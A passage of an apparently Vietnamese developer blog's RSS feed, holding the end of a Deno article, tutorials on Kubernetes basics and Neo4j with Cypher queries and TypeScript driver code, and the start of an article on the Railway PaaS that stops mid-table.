&lt;li&gt;HTTP API nhỏ-gọn — Deno.serve + std library đủ&lt;/li&gt;
&lt;li&gt;Security-sensitive app — permissions model&lt;/li&gt;
&lt;li&gt;New project — không muốn npm baggage&lt;/li&gt;
&lt;li&gt;Single binary distribution — deno compile&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Không nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Large Node.js project — migration không đáng&lt;/li&gt;
&lt;li&gt;Cần nhiều npm packages — Node ecosystem vẫn lớn hơn&lt;/li&gt;
&lt;li&gt;Team quen Node — không cần đổi nếu đang ổn&lt;/li&gt;
&lt;li&gt;Serverless (Lambda) — Deno hỗ trợ nhưng Node nhiều hơn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Deno sửa những gì Node làm sai — security, modules, TypeScript, toolchain.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Deno: một binary cho mọi thứ
deno run --allow-net server.ts # Run server
deno test # Test
deno fmt # Format
deno lint # Lint
deno compile # Build binary
deno doc # Docs

# Không npm install, không node_modules, không tsconfig
# Chỉ import từ URL, chạy luôn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| | Node.js | Deno |
|---|---|---|
| Security | ❌ Full access | ✅ Permissions |
| TypeScript | ❌ tsconfig + ts-node | ✅ Native |
| Module | ❌ npm + node_modules | ✅ URL import + npm |
| Toolchain | ❌ Rời rạc (ESLint, Prettier, Jest) | ✅ Một binary |
| Web API | ⚠️ Một phần | ✅ Đầy đủ |
| Standard lib | ✅ Qua npm | ✅ std + JSR |&lt;/p&gt;
&lt;p&gt;Deno không &quot;thay thế Node&quot; — nó là alternative cho những ai muốn runtime an toàn hơn, TypeScript native, ít toolchain hơn.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.deno.com/&quot;&gt;Deno Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://deno.land/std&quot;&gt;Deno Standard Library&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.deno.com/runtime/manual/basics/permissions&quot;&gt;Deno Manual — Permissions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://deno.com/deploy&quot;&gt;Deno Deploy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jsr.io/&quot;&gt;JSR — JavaScript Registry&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Kubernetes Cơ Bản — Container Orchestration Cho Developer</title><link>https://dopana-blog.pages.dev/blog/kubernetes-basics</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/kubernetes-basics</guid><description>Làm quen với Kubernetes: Pod, Deployment, Service, Ingress — đủ để deploy ứng dụng lên cluster.</description><pubDate>Sun, 05 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Kubernetes (K8s) là nền tảng orchestration container phổ biến nhất. Nó quản lý việc deploy, scale, và vận hành container tự động.&lt;/p&gt;
&lt;h2&gt;Kiến Trúc&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────┐
│         Master Node              │
│  ┌───────┐ ┌───────┐ ┌───────┐  │
│  │  API  │ │Scheduler│ │Controller│
│  │ Server│ │        │ │ Manager │  │
│  └───┬───┘ └───────┘ └───────┘  │
│      │                           │
│  ┌───┴───┐                       │
│  │  etcd │ (cluster state)       │
│  └───────┘                       │
└──────────┬──────────────────────┘
           │
    ┌──────┴──────┐
    │  Worker Node │
    │ ┌──────────┐ │
    │ │  Pod     │ │
    │ │ ┌──────┐ │ │
    │ │ │Container│ │
    │ │ └──────┘ │ │
    │ └──────────┘ │
    │ ┌──────────┐ │
    │ │  kubelet │ │
    │ └──────────┘ │
    └─────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pod — Đơn Vị Nhỏ Nhất&lt;/h2&gt;
&lt;p&gt;Pod là 1 hoặc nhiều container chạy cùng nhau, share network và storage.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;apiVersion: v1
kind: Pod
metadata:
  name: my-app
  labels:
    app: my-app
spec:
  containers:
    - name: app
      image: myapp:latest
      ports:
        - containerPort: 3000
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Tạo pod
kubectl apply -f pod.yaml

# Xem pod
kubectl get pods
kubectl describe pod my-app
kubectl logs my-app

# Exec vào pod
kubectl exec -it my-app -- sh

# Xóa pod
kubectl delete pod my-app
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Deployment — Quản Lý Pod&lt;/h2&gt;
&lt;p&gt;Không dùng Pod trực tiếp — dùng Deployment. Deployment đảm bảo số lượng pod mong muốn luôn chạy.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: my-app
spec:
  replicas: 3
  selector:
    matchLabels:
      app: my-app
  template:
    metadata:
      labels:
        app: my-app
    spec:
      containers:
        - name: app
          image: myapp:latest
          ports:
            - containerPort: 3000
          resources:
            requests:
              cpu: &quot;100m&quot;
              memory: &quot;128Mi&quot;
            limits:
              cpu: &quot;500m&quot;
              memory: &quot;256Mi&quot;
          livenessProbe:
            httpGet:
              path: /health
              port: 3000
            initialDelaySeconds: 5
            periodSeconds: 10
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Scale
kubectl scale deployment my-app --replicas=5

# Rolling update
kubectl set image deployment/my-app app=myapp:v2

# Rollback
kubectl rollout undo deployment/my-app

# Xem rollout status
kubectl rollout status deployment/my-app
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Service — Kết Nối Vào Pod&lt;/h2&gt;
&lt;p&gt;Pod có thể chết và tạo lại với IP mới. Service cung cấp một IP/domain ổn định.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;apiVersion: v1
kind: Service
metadata:
  name: my-app-service
spec:
  selector:
    app: my-app
  ports:
    - port: 80
      targetPort: 3000
  type: ClusterIP  # Chỉ truy cập trong cluster
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# LoadBalancer — expose ra ngoài (cloud)
apiVersion: v1
kind: Service
metadata:
  name: my-app-lb
spec:
  selector:
    app: my-app
  ports:
    - port: 80
      targetPort: 3000
  type: LoadBalancer
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ingress — HTTP Routing&lt;/h2&gt;
&lt;p&gt;Service LoadBalancer mỗi cái một IP — Ingress cho phép routing theo domain/path:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-app-ingress
spec:
  rules:
    - host: app.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 80
          - path: /
            pathType: Prefix
            backend:
              service:
                name: web-service
                port:
                  number: 80
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ConfigMap &amp;#x26; Secret — Cấu Hình&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;apiVersion: v1
kind: ConfigMap
metadata:
  name: app-config
data:
  NODE_ENV: production
  LOG_LEVEL: info
---
apiVersion: v1
kind: Secret
metadata:
  name: db-secret
type: Opaque
stringData:
  DATABASE_URL: postgres://user:pass@db:5432/myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# Dùng trong Deployment
spec:
  containers:
    - envFrom:
        - configMapRef:
            name: app-config
        - secretRef:
            name: db-secret
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PersistentVolume — Lưu Trữ Dữ Liệu&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: data-pvc
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 10Gi
---
apiVersion: apps/v1
kind: Deployment
spec:
  template:
    spec:
      containers:
        - volumeMounts:
            - mountPath: /data
              name: storage
      volumes:
        - name: storage
          persistentVolumeClaim:
            claimName: data-pvc
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kubectl — Lệnh Cần Nhớ&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Cluster
kubectl cluster-info
kubectl get nodes

# Pods
kubectl get pods -w # Watch mode
kubectl get pods -o wide # Chi tiết hơn (IP, node)
kubectl logs -f deployment/my-app # Follow logs

# Debug
kubectl port-forward pod/my-app 3000:3000 # Forward port local
kubectl exec -it pod/my-app -- sh
kubectl describe pod my-app # Xem events, lý do crash

# Namespace
kubectl get pods -n production
kubectl config set-context --current --namespace=production

# Tài nguyên
kubectl top pods
kubectl top nodes
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Helm — Package Manager&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Install Helm chart
helm repo add bitnami https://charts.bitnami.com/bitnami
helm install my-postgres bitnami/postgresql

# Tạo chart riêng
helm create my-app
# Chart.yaml, values.yaml, templates/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;K8s Cho Dev — Minikube&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Local cluster
minikube start --cpus=4 --memory=8192
minikube dashboard # UI

# Dùng Docker images local
eval $(minikube docker-env)
docker build -t myapp:dev .
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Kubernetes phức tạp — nhưng chỉ cần nắm Pod, Deployment, Service, Ingress là đủ để deploy ứng dụng. Bắt đầu với Minikube, deploy app đơn giản, rồi nâng dần.&lt;/p&gt;
&lt;p&gt;Nhớ: K8s giải quyết vấn đề orchestration ở quy mô lớn. Nếu bạn chỉ có 1-2 server, Docker Compose là đủ.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://kubernetes.io/docs/home/&quot;&gt;Kubernetes Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kubernetes.io/docs/reference/kubectl/quick-reference/&quot;&gt;kubectl Quick Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kubernetes.io/docs/concepts/workloads/controllers/deployment/&quot;&gt;Deployments&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kubernetes.io/docs/concepts/services-networking/service/&quot;&gt;Services&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kubernetes.io/docs/concepts/services-networking/ingress/&quot;&gt;Ingress&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kubernetes.io/docs/concepts/configuration/&quot;&gt;ConfigMaps &amp;#x26; Secrets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kubernetes.io/docs/concepts/storage/persistent-volumes/&quot;&gt;Persistent Volumes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://helm.sh/docs/&quot;&gt;Helm Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://minikube.sigs.k8s.io/docs/&quot;&gt;Minikube Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Neo4j &amp; Graph Database — Khi Quan Hệ Là Dữ Liệu Chính</title><link>https://dopana-blog.pages.dev/blog/neo4j-graph-database</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/neo4j-graph-database</guid><description>Graph database với Neo4j: mô hình hóa dữ liệu dạng graph, Cypher queries, recommendation system và use cases.</description><pubDate>Sun, 05 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Graph database lưu dữ liệu dưới dạng nodes (đỉnh) và relationships (cạnh). Khi quan hệ giữa các entities là quan trọng nhất — graph DB vượt trội hơn SQL rất nhiều.&lt;/p&gt;
&lt;h2&gt;Graph vs Relational&lt;/h2&gt;
&lt;p&gt;Ví dụ: tìm bạn bè của bạn bè (friend-of-friend):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- SQL — 5 JOIN
SELECT DISTINCT fof.*
FROM users u
JOIN friendships f1 ON u.id = f1.user_id
JOIN users f1u ON f1.friend_id = f1u.id
JOIN friendships f2 ON f1u.id = f2.user_id
JOIN users fof ON f2.friend_id = fof.id
WHERE u.id = 1 AND f2.friend_id != u.id;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Neo4j — 1 pattern
MATCH (u:User {id: 1})-[:FRIENDS_WITH*2]-&gt;(fof:User)
WHERE NOT (u)-[:FRIENDS_WITH]-&gt;(fof)
RETURN DISTINCT fof
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Graph database: relationships first-class citizens. Trong SQL, relationship là foreign key + JOIN. Trong graph, relationship là thực thể riêng, có thể có properties.&lt;/p&gt;
&lt;h2&gt;Cypher Query Language&lt;/h2&gt;
&lt;h3&gt;Nodes &amp;#x26; Relationships&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Create node
CREATE (u:User {id: 1, name: &apos;Alice&apos;, age: 30})

// Create relationship
CREATE (u1:User {name: &apos;Alice&apos;})-[:FRIENDS_WITH {since: 2024}]-&gt;(u2:User {name: &apos;Bob&apos;})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Match — Query&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Find user
MATCH (u:User {name: &apos;Alice&apos;})
RETURN u

// Friends of Alice
MATCH (alice:User {name: &apos;Alice&apos;})-[:FRIENDS_WITH]-&gt;(friend:User)
RETURN friend.name, friend.age

// Friend-of-friend (2 levels deep)
MATCH (alice:User {name: &apos;Alice&apos;})-[:FRIENDS_WITH*2]-&gt;(fof:User)
RETURN DISTINCT fof.name

// Variable length paths
MATCH path = (alice:User {name: &apos;Alice&apos;})-[:FRIENDS_WITH*1..3]-&gt;(other)
RETURN path
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Create &amp;#x26; Update&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Create with properties
CREATE (p:Post {
  id: 101,
  title: &apos;Graph DB Guide&apos;,
  content: &apos;Deep dive into Neo4j...&apos;,
  createdAt: datetime()
})

// Create relationship with properties
MATCH (u:User {id: 1}), (p:Post {id: 101})
CREATE (u)-[:POSTED {at: datetime()}]-&gt;(p)

// Like a post
MATCH (u:User {id: 2}), (p:Post {id: 101})
CREATE (u)-[:LIKED {at: datetime()}]-&gt;(p)

// Update
MATCH (u:User {name: &apos;Alice&apos;})
SET u.age = 31
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Delete&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Delete relationship
MATCH (u:User {id: 1})-[r:LIKED]-&gt;()
DELETE r

// Delete node and relationships
MATCH (u:User {id: 1})
DETACH DELETE u
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Aggregation&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Count friends per user
MATCH (u:User)-[:FRIENDS_WITH]-&gt;(friend)
RETURN u.name, COUNT(friend) AS friendCount
ORDER BY friendCount DESC

// Average age of friends
MATCH (u:User {name: &apos;Alice&apos;})-[:FRIENDS_WITH]-&gt;(friend)
RETURN AVG(friend.age) AS avgFriendAge

// Most liked posts
MATCH (p:Post)&amp;#x3C;-[:LIKED]-()
RETURN p.title, COUNT(*) AS likes
ORDER BY likes DESC
LIMIT 10
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Recommendation System&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// &quot;Users who liked this post also liked...&quot;
MATCH (target:Post {id: 101})&amp;#x3C;-[:LIKED]-(user:User)
MATCH (user)-[:LIKED]-&gt;(other:Post)
WHERE other.id != 101
RETURN other.title, COUNT(*) AS score
ORDER BY score DESC
LIMIT 5

// Product recommendation (collaborative filtering)
MATCH (customer:Customer {id: 1})-[:PURCHASED]-&gt;(:Product)&amp;#x3C;-[:PURCHASED]-(other:Customer)
MATCH (other)-[:PURCHASED]-&gt;(recommendation:Product)
WHERE NOT (customer)-[:PURCHASED]-&gt;(recommendation)
RETURN recommendation.name, COUNT(*) AS relevance
ORDER BY relevance DESC
LIMIT 10
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Social Graph&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Mutual friends
MATCH (u:User {id: 1})-[:FRIENDS_WITH]-&gt;(mutual:User)&amp;#x3C;-[:FRIENDS_WITH]-(u2:User {id: 2})
RETURN mutual.name

// Suggested friends (friends of friends, not already friends)
MATCH (u:User {id: 1})-[:FRIENDS_WITH*2]-&gt;(suggestion:User)
WHERE NOT EXISTS((u)-[:FRIENDS_WITH]-&gt;(suggestion))
  AND u.id &amp;#x3C;&gt; suggestion.id
RETURN suggestion.name, COUNT(*) AS commonFriends
ORDER BY commonFriends DESC
LIMIT 10

// Shortest path between two users
MATCH p = shortestPath(
  (alice:User {name: &apos;Alice&apos;})-[:FRIENDS_WITH*]-(bob:User {name: &apos;Bob&apos;})
)
RETURN [node IN nodes(p) | node.name] AS path
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Node.js với Neo4j&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import neo4j from &apos;neo4j-driver&apos;;

const driver = neo4j.driver(
  &apos;bolt://localhost:7687&apos;,
  neo4j.auth.basic(&apos;neo4j&apos;, &apos;password&apos;)
);

const session = driver.session();

// Create
async function createUser(name: string, email: string) {
  const result = await session.run(
    &apos;CREATE (u:User {id: randomUUID(), name: $name, email: $email, createdAt: datetime()}) RETURN u&apos;,
    { name, email }
  );
  return result.records[0].get(&apos;u&apos;).properties;
}

// Query friends
async function getFriends(userId: string) {
  const result = await session.run(
    `MATCH (u:User {id: $userId})-[:FRIENDS_WITH]-&gt;(friend:User)
     RETURN friend.name AS name, friend.email AS email
     ORDER BY friend.name`,
    { userId }
  );
  return result.records.map(r =&gt; ({
    name: r.get(&apos;name&apos;),
    email: r.get(&apos;email&apos;),
  }));
}

// Shortest path
async function findConnection(user1Id: string, user2Id: string) {
  const result = await session.run(
    `MATCH p = shortestPath(
       (u1:User {id: $user1Id})-[:FRIENDS_WITH*]-(u2:User {id: $user2Id})
     )
     RETURN [n IN nodes(p) | n.name] AS path,
            length(p) AS degrees`,
    { user1Id, user2Id }
  );

  if (result.records.length === 0) return null;
  return {
    path: result.records[0].get(&apos;path&apos;),
    degrees: result.records[0].get(&apos;degrees&apos;),
  };
}

// Cleanup
await session.close();
await driver.close();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Use Cases&lt;/h2&gt;
&lt;p&gt;| Use Case | SQL | Graph |
|---|---|---|
| Friend-of-friend | Nhiều JOIN, chậm | 1 hop, nhanh |
| Recommendation | Khó modelling | Tự nhiên |
| Fraud detection | Pattern detection phức tạp | Pattern matching dễ |
| Network/IT | Nhiều JOIN | Graph traversal |
| Knowledge graph | Không phù hợp | Rất phù hợp |&lt;/p&gt;
&lt;h2&gt;Docker&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;services:
  neo4j:
    image: neo4j:5-community
    ports:
      - &quot;7474:7474&quot;  # Browser UI
      - &quot;7687:7687&quot;  # Bolt protocol
    environment:
      - NEO4J_AUTH=neo4j/password
      - NEO4J_PLUGINS=[&quot;apoc&quot;]
    volumes:
      - neo4j_data:/data

volumes:
  neo4j_data:
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Performance&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;// Index cho frequent lookups
CREATE INDEX user_id IF NOT EXISTS FOR (u:User) ON (u.id)
CREATE INDEX post_id IF NOT EXISTS FOR (p:Post) ON (p.id)

// Composite index
CREATE INDEX user_name_email IF NOT EXISTS FOR (u:User) ON (u.name, u.email)

// PROFILE — xem query plan
PROFILE
MATCH (u:User {id: 1})-[:FRIENDS_WITH]-&gt;(friend)
RETURN friend.name
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Graph database chiến thắng khi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dữ liệu có nhiều quan hệ phức tạp&lt;/li&gt;
&lt;li&gt;Cần traversal nhiều levels (friend-of-friend)&lt;/li&gt;
&lt;li&gt;Recommendation, fraud detection&lt;/li&gt;
&lt;li&gt;Knowledge graph, network analysis&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Không dùng graph cho: CRUD đơn giản, báo cáo tổng hợp, dữ liệu dạng bảng — SQL vẫn tốt hơn.&lt;/p&gt;
&lt;p&gt;Neo4j + Cypher là lựa chọn tốt nhất cho graph database. Bắt đầu với Docker, học Cypher cơ bản, và dùng khi có vấn đề về connection.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://neo4j.com/docs/&quot;&gt;Neo4j Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://neo4j.com/docs/cypher-manual/current/&quot;&gt;Cypher Query Language Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/_/neo4j&quot;&gt;Neo4j Docker Image&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://neo4j.com/docs/javascript-manual/current/&quot;&gt;Neo4j JavaScript Driver&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Railway — PaaS Hiện Đại Cho Backend Hiệu Quả</title><link>https://dopana-blog.pages.dev/blog/railway-paas-cho-backend-hien-dai</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/railway-paas-cho-backend-hien-dai</guid><description>Railway là PaaS thế hệ mới: deploy từ GitHub, auto HTTPS, scale tự động, database tích hợp. So sánh với Heroku, Render, Fly.io, Vercel.</description><pubDate>Sun, 05 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Railway là nền tảng deploy backend — kết nối GitHub repo, Railway build và host tự động.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Git push → Railway build → Deploy → HTTPS domain → Scale
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không config server, không Dockerfile (optional), không quản lý infra.&lt;/p&gt;
&lt;h2&gt;Railway vs Các PaaS Khác&lt;/h2&gt;
&lt;p&gt;| | Heroku | Render | Vercel | Fly.io | Railway |
|---|---|---|---|---|---|
| Free tier | ❌ | ✅ | ✅ | ✅ | ✅ ($5 credit) |
| Backend | ✅ | ✅ | ⚠️ Edge only | ✅ | ✅ |
| Frontend | ✅ | ✅ | ✅ | ✅ | ✅ |
| Database | Postgres (addon) | Postgres, Redis | ❌ | Postgres | Postgres, MySQL, Redis, MongoDB |
| Serverless | ❌ | ✅ | ✅ | ✅ | ✅ |
| Private network | ❌ | ✅ | ❌ | ✅ | ✅ |
| Volumes | ❌ | ✅ | ❌ | ✅ | ✅ |
| Cron | ❌ | ✅ | ❌ | ✅ | ✅ |
| Pricing | $7+/tháng | $7+/tháng | $20+/tháng | $5.68+/tháng | $5+/tháng (usage-based) |&lt;/p&gt;
&lt;p&gt;Railway có lợi thế: database tích hợp, private network mặc định, usage-based pricing.&lt;/p&gt;
&lt;h2&gt;Quick Start&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. Cài Railway CLI
npm i -g @railway/cli

# 2. Login
railway login

# 3. Init project trong thư mục code
railway init

# 4. Deploy
railway up

# Hoặc connect GitHub → auto-deploy khi push
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Deploy từ GitHub&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# railway.json — cấu hình project
{
  &quot;build&quot;: {
    &quot;builder&quot;: &quot;NIXPACKS&quot;,
    &quot;buildCommand&quot;: &quot;npm run build&quot;
  },
  &quot;deploy&quot;: {
    &quot;startCommand&quot;: &quot;npm start&quot;,
    &quot;healthcheckPath&quot;: &quot;/health&quot;,
    &quot;restartPolicyType&quot;: &quot;ON_FAILURE&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;New Project → Deploy from GitHub repo&lt;/li&gt;
&lt;li&gt;Chọn branch&lt;/li&gt;
&lt;li&gt;Railway auto-detect language + build&lt;/li&gt;
&lt;li&gt;Deploy + HTTPS domain tự động&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Zero Config Detection&lt;/h3&gt;
&lt;p&gt;| Language | Build | Start |
|---|---|---|
| Node.js | &lt;code&gt;npm ci &amp;#x26;&amp;#x26; npm run build&lt;/code&gt; | &lt;code&gt;npm start&lt;/code&gt; |
| Python | &lt;code&gt;pip install -r requirements.txt&lt;/code&gt; | &lt;code&gt;python main.py&lt;/code&gt; |
| Go | &lt;code&gt;go build -o app&lt;/code&gt; | &lt;code&gt;./app&lt;/code&gt; |
| Rust | &lt;code&gt;cargo build --release&lt;/code&gt; | &lt;code&gt;./target/release/app&lt;/code&gt; |
| Docker | Dockerfile | Dockerfile CMD |
| Static | Copy files | N/A |&lt;/p&gt;
&lt;h2&gt;Database Tích Hợp&lt;/h2&gt;
&lt;p&gt;Railway có database plugins — click là có:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# CLI
railway add postgres
railway add mysql
railway add redis
railway add mongodb
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// DATABASE_URL tự động available
import postgres from &apos;postgres&apos;

const sql = postgres(process.env.DATABASE_URL!)
// Railway tự động inject connection string
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Plugin → Railway provision → Auto-inject DATABASE_URL
                               ↓
                        Code chỉ cần đọc env var
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Database có: backup tự động, metrics, scaling, private network.&lt;/p&gt;
&lt;h2&gt;Private Network&lt;/h2&gt;
&lt;p&gt;Mọi service trong cùng project đều kết nối được qua private network:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Project
├── Web API (public)
├── Worker (private)
├── Postgres
└── Redis

Web API → private:5432 (Postgres)
Worker → private:6379 (Redis)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không expose database ra internet. Dùng &lt;code&gt;DATABASE_URL&lt;/code&gt; thay &lt;code&gt;DATABASE_PUBLIC_URL&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# DATABASE_URL — private network (nên dùng)
postgres://user:pass@db.railway.internal:5432/mydb

# DATABASE_PUBLIC_URL — public internet (không khuyến khích)
postgres://user:pass@db.railway.app:5432/mydb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Private network = free egress. Public network = tính phí egress.&lt;/p&gt;
&lt;h2&gt;Environment &amp;#x26; Variables&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# railway.toml — variables cho từng environment
[environments]
  [environments.production.variables]
  NODE_ENV = &quot;production&quot;
  LOG_LEVEL = &quot;info&quot;

  [environments.staging.variables]
  NODE_ENV = &quot;staging&quot;
  LOG_LEVEL = &quot;debug&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Reference variables — dùng biến từ service khác
DATABASE_URL = &quot;${{Postgres.DATABASE_URL}}&quot;
REDIS_URL = &quot;${{Redis.REDIS_URL}}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Volumes&lt;/h2&gt;
&lt;p&gt;Persistent storage cho service cần giữ dữ liệu:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;railway volume add --mount /data
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Code đọc/ghi vào /data — persistent qua deploy
import fs from &apos;fs&apos;

const data = fs.readFileSync(&apos;/data/config.json&apos;, &apos;utf-8&apos;)
fs.writeFileSync(&apos;/data/output.txt&apos;, &apos;persistent data&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Volumes có backup, snapshot, restore.&lt;/p&gt;
&lt;h2&gt;Pricing&lt;/h2&gt;
&lt;p&gt;Railway tính phí theo usage (compute + egress):&lt;/p&gt;
&lt;p&gt;| Plan | Compute | Egress |
|---|---|---|
